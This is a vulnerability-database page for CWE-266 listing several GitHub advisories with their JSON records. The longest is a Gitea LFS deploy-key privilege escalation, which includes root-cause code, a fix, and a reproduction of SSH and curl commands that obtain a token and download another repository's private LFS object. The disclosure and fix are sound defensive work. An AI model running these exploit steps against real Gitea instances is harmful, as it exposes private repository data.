CWE-266
AllowedIncorrect Privilege Assignment
Abstraction: Base · Status: Draft
A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.
2126 vulnerabilities reference this CWE, most recent first.
GHSA-RG28-X6G7-WXR5
Vulnerability from github – Published: 2024-08-16 00:32 – Updated: 2024-08-16 18:30In multiple functions of AppOpsService.java, there is a possible way for unprivileged apps to read their own restrictRead app-op states due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2024-34738"
],
"database_specific": {
"cwe_ids": [
"CWE-266"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-15T22:15:06Z",
"severity": "HIGH"
},
"details": "In multiple functions of AppOpsService.java, there is a possible way for unprivileged apps to read their own restrictRead app-op states due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-rg28-x6g7-wxr5",
"modified": "2024-08-16T18:30:57Z",
"published": "2024-08-16T00:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34738"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/frameworks/base/+/21d764807b3dcd402d63e2b4c9fbae1c9965400a"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2024-08-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RGPF-X2PQ-6M4Q
Vulnerability from github – Published: 2026-03-07 21:33 – Updated: 2026-03-07 21:33A vulnerability was detected in Freedom Factory dGEN1 up to 20260221. Affected is an unknown function of the component com.dgen.alarm. Performing a manipulation results in improper authorization. The attack requires a local approach. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-3670"
],
"database_specific": {
"cwe_ids": [
"CWE-266"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-07T19:15:49Z",
"severity": "MODERATE"
},
"details": "A vulnerability was detected in Freedom Factory dGEN1 up to 20260221. Affected is an unknown function of the component com.dgen.alarm. Performing a manipulation results in improper authorization. The attack requires a local approach. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-rgpf-x2pq-6m4q",
"modified": "2026-03-07T21:33:41Z",
"published": "2026-03-07T21:33:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3670"
},
{
"type": "WEB",
"url": "https://gist.github.com/Lytes/0accda73c896ea137db832dc4d81345c"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.349558"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.349558"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.764704"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RGV6-J8H9-46FV
Vulnerability from github – Published: 2026-07-01 15:35 – Updated: 2026-07-06 18:30MCO does not properly enforce authorization checks in the /customer/servlet/mco/webapi/profile-sections/group-membership endpoint. An authenticated user can modify their group membership without proper authorization checks, allowing privilege escalation. An attacker can add themselves to arbitrary groups by supplying a valid group ID, which can be obtained via other application functionalities (e.g. /customer/servlet/mco/webapi/group/picker/groups), provided he has necessary permissions, or potentially inferred through brute-force techniques.
Because vendor contact attempts were unsuccessful, the vulnerability has only been confirmed in version 25.3.3.1 but may also affect other versions.
{
"affected": [],
"aliases": [
"CVE-2026-53902"
],
"database_specific": {
"cwe_ids": [
"CWE-266"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-01T13:17:45Z",
"severity": "HIGH"
},
"details": "MCO does not properly enforce authorization checks in the /customer/servlet/mco/webapi/profile-sections/group-membership endpoint. An authenticated user can modify their group membership without proper authorization checks, allowing privilege escalation.\nAn attacker can add themselves to arbitrary groups by supplying a valid group ID, which can be obtained via other application functionalities (e.g.\u00a0/customer/servlet/mco/webapi/group/picker/groups), provided he has necessary permissions, or potentially inferred through brute-force techniques.\n\n\n\nBecause vendor contact attempts were unsuccessful, the vulnerability has only been confirmed in version 25.3.3.1\u00a0but may also affect other versions.",
"id": "GHSA-rgv6-j8h9-46fv",
"modified": "2026-07-06T18:30:42Z",
"published": "2026-07-01T15:35:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53902"
},
{
"type": "WEB",
"url": "https://cert.pl/en/posts/2026/07/CVE-2026-53902"
},
{
"type": "WEB",
"url": "https://mco.mycomplianceoffice.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RH79-75QM-GWJR
Vulnerability from github – Published: 2026-07-21 21:00 – Updated: 2026-07-21 21:00Vulnerability Header
| Field | Value |
|---|---|
| Vulnerability Title | Gitea LFS Deploy-Key Privilege Escalation |
| Severity Rating | High |
| Bug Category | Insufficient Authorization |
| Location | services/lfs/server.go:268, routers/private/serv.go:275 |
| Affected Versions | 1.25.5 |
Executive Summary
Gitea's LFS server (services/lfs/server.go:268) uses the UserID embedded in an LFS JWT to make cross-repository authorization decisions via LFSObjectAccessible(). This would be safe if the JWT UserID always matched the actual requesting principal — but for deploy keys, routers/private/serv.go:275 sets UserID = repo.OwnerID instead of any identity representing the deploy key itself. As a result, an attacker who holds a write deploy key for any single repo owned by a victim can obtain a legitimate JWT (via the standard SSH git-lfs-authenticate flow) that Gitea will honor as if the victim themselves were making the request. The attacker can then exfiltrate LFS objects from any private repo the victim owns — no admin credentials, no server secrets, no brute force required. If the victim is a site administrator, every LFS object on the entire Gitea instance is reachable. Deploy keys exist precisely to grant narrow, single-repo access to CI/CD systems; this vulnerability defeats that isolation entirely for LFS data.
Root Cause Analysis
Technical Description
The vulnerability is a trust-boundary confusion across two independent subsystems. When a deploy key authenticates over SSH, serv.go sets UserID = repo.OwnerID because the code has no better representation for a deploy key identity (a FIXME comment acknowledges this). That UserID is baked verbatim into the LFS JWT by cmd/serv.go. The JWT is then consumed by server.go, which treats claims.UserID as the authenticated principal and loads that user object as ctx.Doer. When the batch upload handler encounters an object that exists on disk but isn't yet linked to the target repo, it calls LFSObjectAccessible(ctx, ctx.Doer, oid) — a global query across all repos the claimed user can see — to decide whether to silently create the cross-repo link. The JWT's RepoID claim is verified (so the request is correctly scoped to one repo at the HTTP level), but the UserID driving the cross-repo access decision is the repo owner, not the deploy key. The attacker ends up holding a valid, server-signed token that impersonates the victim for any LFS authorization check.
First Faulty Condition
The primary bug — where the JWT UserID is set incorrectly — is in serv.go:
| File | routers/private/serv.go |
|---|---|
| Line | 275 |
| Condition | Deploy key branch sets results.UserID = repo.OwnerID; the owner's UID is embedded in the JWT and later used as the authenticated principal for cross-repo privilege decisions in server.go:268 |
// routers/private/serv.go:252–278
if key.Type == asymkey_model.KeyTypeDeploy {
...
// FIXME: Deploy keys aren't really the owner of the repo pushing changes
// however we don't have good way of representing deploy keys in hook.go
// so for now use the owner of the repository
results.UserName = results.OwnerName
results.UserID = repo.OwnerID // ← OWNER's UID, not the deploy key
...
}
The secondary bug — where the tainted UserID is actually misused — is in server.go:
| File | services/lfs/server.go |
|---|---|
| Line | 268 |
| Condition | LFSObjectAccessible(ctx, ctx.Doer, oid) makes a cross-repo decision using the JWT UserID, which for deploy keys is the repo owner, not the deploy key holder |
// services/lfs/server.go:267–275
if exists && meta == nil {
accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
...
if accessible {
_, err := git_model.NewLFSMetaObject(ctx, repository.ID, p) // links OID to attacker's repo
...
}
}
Admin amplification: if victim.IsAdmin, models/git/lfs.go:226 short-circuits with a bare COUNT(*) over the entire lfs_meta_object table — no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance.
Exploitability Assessment
Attack Vector & Reachability
| Attack vector | Network |
|---|---|
| Authentication required | Low: attacker must hold a write deploy key's private key material for any of victim's repositories |
| User interaction required | None |
| Reachable in default config | No. Requires LFS_START_SERVER = true |
| Entry point(s) | SSH git-lfs-authenticate command + HTTP LFS batch API |
The practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests — not enumerable and not brute-forceable — and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior git pull, and issue or pull request comments that reference pointer file contents.
LFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a post-revocation persistence primitive — after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed.
Reproduction Steps
Environment
The issue was reproduced using gitea/gitea:1.25.5 docker image.
Setup (performed as victim/admin — represents normal deployment state)
# 1. Victim creates a private repo and uploads an LFS object
git clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git
cd secret-repo
git lfs track "*.bin"
echo "TOP SECRET: password is hunter2" > secret.bin
git add .gitattributes secret.bin && git commit -m "secret"
git push && git lfs push origin main
# Note the OID and size from:
git lfs pointer --file=secret.bin
# oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b
# size 32
# 2. Victim creates ci-repo and registers a write deploy key
# (via UI: ci-repo → Settings → Deploy Keys → Add Deploy Key → enable write access)
# Attacker holds the corresponding private key (e.g. leaked from CI config)
Exploit
# Step 1 — Obtain JWT via SSH using only the deploy key (no victim credentials)
ssh -i ~/.ssh/deploy_key -p 2222 git@localhost \
"git-lfs-authenticate victim/ci-repo upload"
# → {"header":{"Authorization":"Bearer eyJ..."},"href":"..."}
# Decode payload: {"RepoID":3,"Op":"upload","UserID":4,...}
# ^^^^^^^^ victim's UID — BUG
JWT="eyJ..."
OID="1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b"
SIZE=32
# Step 2 — Confirm attacker is blocked from secret-repo directly
curl -s -H "Authorization: Bearer $JWT" \
"http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID"
# → {"Message":"Unauthorized"} — correctly blocked
# Step 3 — Batch upload to ci-repo claiming the secret OID
curl -s -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.git-lfs+json" \
-H "Content-Type: application/vnd.git-lfs+json" \
"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch" \
-d "{\"operation\":\"upload\",\"transfers\":[\"basic\"],\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → {"objects":[{"oid":"1d4fed...","size":32}]} — NO "actions" field
# server silently linked the OID to ci-repo without demanding proof of possession
# Step 4 — Download the secret via ci-repo
curl -s -H "Authorization: Bearer $JWT" \
"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID"
# → TOP SECRET: password is hunter2
Expected output
Step 2: {"Message":"Unauthorized"} ← blocked from secret-repo
Step 3: {"objects":[{"oid":"1d4fed...","size":32}]} ← no actions = silently linked
Step 4: TOP SECRET: password is hunter2 ← exfiltrated via ci-repo
PoC files
- poc.sh — end-to-end PoC using real SSH deploy key
Recommended Fix
A proper fix might require significant architecture change. A short term recommendation is presented below:
Fix 1 — services/lfs/server.go:267 (defense in depth, immediately effective)
Remove the LFSObjectAccessible cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one RepoID; authorization decisions about other repos should not be made using the JWT UserID.
// BEFORE (vulnerable):
if exists && meta == nil {
accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
if err != nil {
log.Error("Unable to check if LFS MetaObject [%s] is accessible: %v", p.Oid, err)
writeStatus(ctx, http.StatusInternalServerError)
return
}
if accessible {
_, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)
if err != nil {
log.Error("Unable to create LFS MetaObject [%s] for %s/%s. Error: %v", p.Oid, rc.User, rc.Repo, err)
writeStatus(ctx, http.StatusInternalServerError)
return
}
} else {
exists = false
}
}
// After (safe):
if exists && meta == nil {
// Do not use ctx.Doer for cross-repo decisions — the JWT only authorizes
// access to this repo. Always require proof-of-possession for objects
// not already linked here.
exists = false
}
The client will re-upload the bytes (which are hash-verified). Performance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued.
Full patch: fix1.patch
Fix 2 — routers/private/serv.go:275 (fix the source)
Stop embedding repo.OwnerID in the JWT for deploy keys. Options:
- Add a DeployKeyID field to the JWT Claims struct; teach handleLFSToken to construct a minimal synthetic principal with exactly the deploy key's permissions (single-repo, mode-limited).
- Or mint a separate JWT type for deploy keys that server.go treats as repo-scoped only, refusing to use it for cross-repo operations.
Patch provenance: AI-generated + Human-reviewed
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58435"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:00:51Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Vulnerability Header\n\n| Field | Value |\n| ------------------- | ----------------------------------------------------------- |\n| Vulnerability Title | Gitea LFS Deploy-Key Privilege Escalation |\n| Severity Rating | High |\n| Bug Category | Insufficient Authorization |\n| Location | `services/lfs/server.go:268`, `routers/private/serv.go:275` |\n| Affected Versions | 1.25.5 |\n\n## Executive Summary\n\nGitea\u0027s LFS server (`services/lfs/server.go:268`) uses the `UserID` embedded in an LFS JWT to make cross-repository authorization decisions via `LFSObjectAccessible()`. This would be safe if the JWT `UserID` always matched the actual requesting principal \u2014 but for deploy keys, `routers/private/serv.go:275` sets `UserID = repo.OwnerID` instead of any identity representing the deploy key itself. As a result, an attacker who holds a write deploy key for any single repo owned by a victim can obtain a legitimate JWT (via the standard SSH `git-lfs-authenticate` flow) that Gitea will honor as if the victim themselves were making the request. The attacker can then exfiltrate LFS objects from any private repo the victim owns \u2014 no admin credentials, no server secrets, no brute force required. If the victim is a site administrator, every LFS object on the entire Gitea instance is reachable. Deploy keys exist precisely to grant narrow, single-repo access to CI/CD systems; this vulnerability defeats that isolation entirely for LFS data.\n\n## Root Cause Analysis\n\n### Technical Description\n\nThe vulnerability is a **trust-boundary confusion** across two independent subsystems. When a deploy key authenticates over SSH, `serv.go` sets `UserID = repo.OwnerID` because the code has no better representation for a deploy key identity (a `FIXME` comment acknowledges this). That `UserID` is baked verbatim into the LFS JWT by `cmd/serv.go`. The JWT is then consumed by `server.go`, which treats `claims.UserID` as the authenticated principal and loads that user object as `ctx.Doer`. When the batch upload handler encounters an object that exists on disk but isn\u0027t yet linked to the target repo, it calls `LFSObjectAccessible(ctx, ctx.Doer, oid)` \u2014 a global query across all repos the claimed user can see \u2014 to decide whether to silently create the cross-repo link. The JWT\u0027s `RepoID` claim is verified (so the request is correctly scoped to one repo at the HTTP level), but the `UserID` driving the cross-repo access decision is the repo *owner*, not the deploy key. The attacker ends up holding a valid, server-signed token that impersonates the victim for any LFS authorization check.\n\n### First Faulty Condition\n\nThe primary bug \u2014 where the JWT `UserID` is set incorrectly \u2014 is in `serv.go`:\n\n| File | `routers/private/serv.go` |\n| --------- | ------------------------------------------------------------------------------------------------- |\n| Line | 275 |\n| Condition | Deploy key branch sets `results.UserID = repo.OwnerID`; the owner\u0027s UID is embedded in the JWT and later used as the authenticated principal for cross-repo privilege decisions in `server.go:268` |\n\n```go\n// routers/private/serv.go:252\u2013278\nif key.Type == asymkey_model.KeyTypeDeploy {\n ...\n // FIXME: Deploy keys aren\u0027t really the owner of the repo pushing changes\n // however we don\u0027t have good way of representing deploy keys in hook.go\n // so for now use the owner of the repository\n results.UserName = results.OwnerName\n results.UserID = repo.OwnerID // \u2190 OWNER\u0027s UID, not the deploy key\n ...\n}\n```\n\nThe secondary bug \u2014 where the tainted `UserID` is actually misused \u2014 is in `server.go`:\n\n| File | `services/lfs/server.go` |\n| --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Line | 268 |\n| Condition | `LFSObjectAccessible(ctx, ctx.Doer, oid)` makes a cross-repo decision using the JWT `UserID`, which for deploy keys is the repo owner, not the deploy key holder |\n\n```go\n// services/lfs/server.go:267\u2013275\nif exists \u0026\u0026 meta == nil {\n accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)\n ...\n if accessible {\n _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p) // links OID to attacker\u0027s repo\n ...\n }\n}\n```\n\n**Admin amplification:** if `victim.IsAdmin`, `models/git/lfs.go:226` short-circuits with a bare `COUNT(*)` over the entire `lfs_meta_object` table \u2014 no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance.\n\n## Exploitability Assessment\n\n### Attack Vector \u0026 Reachability\n\n| Attack vector | Network |\n| --------------------------- | -------------------------------------------------------------------------------------------------- |\n| Authentication required | Low: attacker must hold a write deploy key\u0027s private key material for any of victim\u0027s repositories |\n| User interaction required | None |\n| Reachable in default config | No. Requires `LFS_START_SERVER = true` |\n| Entry point(s) | SSH `git-lfs-authenticate` command + HTTP LFS batch API |\n\nThe practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests \u2014 not enumerable and not brute-forceable \u2014 and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior `git pull`, and issue or pull request comments that reference pointer file contents. \n\nLFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a **post-revocation persistence** primitive \u2014 after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed.\n### Reproduction Steps\n\n**Environment**\n\nThe issue was reproduced using `gitea/gitea:1.25.5` docker image. \n\n**Setup** (performed as victim/admin \u2014 represents normal deployment state)\n\n```bash\n# 1. Victim creates a private repo and uploads an LFS object\ngit clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git\ncd secret-repo\ngit lfs track \"*.bin\"\necho \"TOP SECRET: password is hunter2\" \u003e secret.bin\ngit add .gitattributes secret.bin \u0026\u0026 git commit -m \"secret\"\ngit push \u0026\u0026 git lfs push origin main\n\n# Note the OID and size from:\ngit lfs pointer --file=secret.bin\n# oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b\n# size 32\n\n# 2. Victim creates ci-repo and registers a write deploy key\n# (via UI: ci-repo \u2192 Settings \u2192 Deploy Keys \u2192 Add Deploy Key \u2192 enable write access)\n# Attacker holds the corresponding private key (e.g. leaked from CI config)\n```\n\n**Exploit**\n\n```bash\n# Step 1 \u2014 Obtain JWT via SSH using only the deploy key (no victim credentials)\nssh -i ~/.ssh/deploy_key -p 2222 git@localhost \\\n \"git-lfs-authenticate victim/ci-repo upload\"\n# \u2192 {\"header\":{\"Authorization\":\"Bearer eyJ...\"},\"href\":\"...\"}\n# Decode payload: {\"RepoID\":3,\"Op\":\"upload\",\"UserID\":4,...}\n# ^^^^^^^^ victim\u0027s UID \u2014 BUG\n\nJWT=\"eyJ...\"\nOID=\"1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b\"\nSIZE=32\n\n# Step 2 \u2014 Confirm attacker is blocked from secret-repo directly\ncurl -s -H \"Authorization: Bearer $JWT\" \\\n \"http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID\"\n# \u2192 {\"Message\":\"Unauthorized\"} \u2014 correctly blocked\n\n# Step 3 \u2014 Batch upload to ci-repo claiming the secret OID\ncurl -s -X POST \\\n -H \"Authorization: Bearer $JWT\" \\\n -H \"Accept: application/vnd.git-lfs+json\" \\\n -H \"Content-Type: application/vnd.git-lfs+json\" \\\n \"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch\" \\\n -d \"{\\\"operation\\\":\\\"upload\\\",\\\"transfers\\\":[\\\"basic\\\"],\\\"objects\\\":[{\\\"oid\\\":\\\"$OID\\\",\\\"size\\\":$SIZE}]}\"\n# \u2192 {\"objects\":[{\"oid\":\"1d4fed...\",\"size\":32}]} \u2014 NO \"actions\" field\n# server silently linked the OID to ci-repo without demanding proof of possession\n\n# Step 4 \u2014 Download the secret via ci-repo\ncurl -s -H \"Authorization: Bearer $JWT\" \\\n \"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID\"\n# \u2192 TOP SECRET: password is hunter2\n```\n\n**Expected output**\n\n```\nStep 2: {\"Message\":\"Unauthorized\"} \u2190 blocked from secret-repo\nStep 3: {\"objects\":[{\"oid\":\"1d4fed...\",\"size\":32}]} \u2190 no actions = silently linked\nStep 4: TOP SECRET: password is hunter2 \u2190 exfiltrated via ci-repo\n```\n\n**PoC files**\n\n- [poc.sh](https://github.com/user-attachments/files/28830752/poc.sh) \u2014 end-to-end PoC using real SSH deploy key\n\n## Recommended Fix\n\nA proper fix might require significant architecture change. A short term recommendation is presented below:\n\n**Fix 1 \u2014 `services/lfs/server.go:267` (defense in depth, immediately effective)**\n\nRemove the `LFSObjectAccessible` cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one `RepoID`; authorization decisions about *other* repos should not be made using the JWT `UserID`.\n```go\n// BEFORE (vulnerable):\nif exists \u0026\u0026 meta == nil {\n accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)\n if err != nil {\n log.Error(\"Unable to check if LFS MetaObject [%s] is accessible: %v\", p.Oid, err)\n writeStatus(ctx, http.StatusInternalServerError)\n return\n }\n if accessible {\n _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)\n if err != nil {\n log.Error(\"Unable to create LFS MetaObject [%s] for %s/%s. Error: %v\", p.Oid, rc.User, rc.Repo, err)\n writeStatus(ctx, http.StatusInternalServerError)\n return\n }\n } else {\n exists = false\n }\n}\n```\n\n```go\n// After (safe):\nif exists \u0026\u0026 meta == nil {\n // Do not use ctx.Doer for cross-repo decisions \u2014 the JWT only authorizes\n // access to this repo. Always require proof-of-possession for objects\n // not already linked here.\n exists = false\n}\n```\n\nThe client will re-upload the bytes (which are hash-verified). \nPerformance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued.\n\nFull patch: [fix1.patch](https://github.com/user-attachments/files/28830753/fix1.patch)\n\n**Fix 2 \u2014 `routers/private/serv.go:275` (fix the source)**\n\nStop embedding `repo.OwnerID` in the JWT for deploy keys. Options:\n- Add a `DeployKeyID` field to the JWT `Claims` struct; teach `handleLFSToken` to construct a minimal synthetic principal with exactly the deploy key\u0027s permissions (single-repo, mode-limited).\n- Or mint a separate JWT type for deploy keys that `server.go` treats as repo-scoped only, refusing to use it for cross-repo operations.\n\nPatch provenance: AI-generated + Human-reviewed\n\n## Attribution\n\nThis vulnerability was discovered by Claude, Anthropic\u0027s AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.\n\nFor CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.",
"id": "GHSA-rh79-75qm-gwjr",
"modified": "2026-07-21T21:00:51Z",
"published": "2026-07-21T21:00:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-rh79-75qm-gwjr"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea LFS Deploy-Key Privilege Escalation"
}
GHSA-RHJM-WW6W-HRX2
Vulnerability from github – Published: 2025-04-27 21:34 – Updated: 2025-05-12 21:31A vulnerability, which was classified as problematic, has been found in wowjoy 浙江湖州华卓信息科技有限公司 Internet Doctor Workstation System 1.0. This issue affects some unknown processing of the file /v1/prescription/details/. The manipulation leads to improper authorization. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-3981"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-27T19:15:15Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, has been found in wowjoy \u6d59\u6c5f\u6e56\u5dde\u534e\u5353\u4fe1\u606f\u79d1\u6280\u6709\u9650\u516c\u53f8 Internet Doctor Workstation System 1.0. This issue affects some unknown processing of the file /v1/prescription/details/. The manipulation leads to improper authorization. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-rhjm-ww6w-hrx2",
"modified": "2025-05-12T21:31:00Z",
"published": "2025-04-27T21:34:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3981"
},
{
"type": "WEB",
"url": "https://github.com/38279/3/issues/1"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.306317"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.306317"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RHP9-667X-7QVW
Vulnerability from github – Published: 2026-06-08 09:31 – Updated: 2026-06-08 09:31A security flaw has been discovered in D-Link DIR-823G 1.0.2B05. The affected element is an unknown function of the file /etc/vsftpd.conf of the component vsftpd. Performing a manipulation results in least privilege violation. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks.
{
"affected": [],
"aliases": [
"CVE-2026-11492"
],
"database_specific": {
"cwe_ids": [
"CWE-266"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-08T07:16:26Z",
"severity": "LOW"
},
"details": "A security flaw has been discovered in D-Link DIR-823G 1.0.2B05. The affected element is an unknown function of the file /etc/vsftpd.conf of the component vsftpd. Performing a manipulation results in least privilege violation. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks.",
"id": "GHSA-rhp9-667x-7qvw",
"modified": "2026-06-08T09:31:59Z",
"published": "2026-06-08T09:31:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11492"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-11492"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/834816"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/369112"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/369112/cti"
},
{
"type": "WEB",
"url": "https://www.dlink.com"
},
{
"type": "WEB",
"url": "https://www.notion.so/D-Link-DIR823G-V1-0-2B05_20181207-3671f5ba989080ac97fdc36d2fb5e57d?source=copy_link"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RJ26-WV7G-62X2
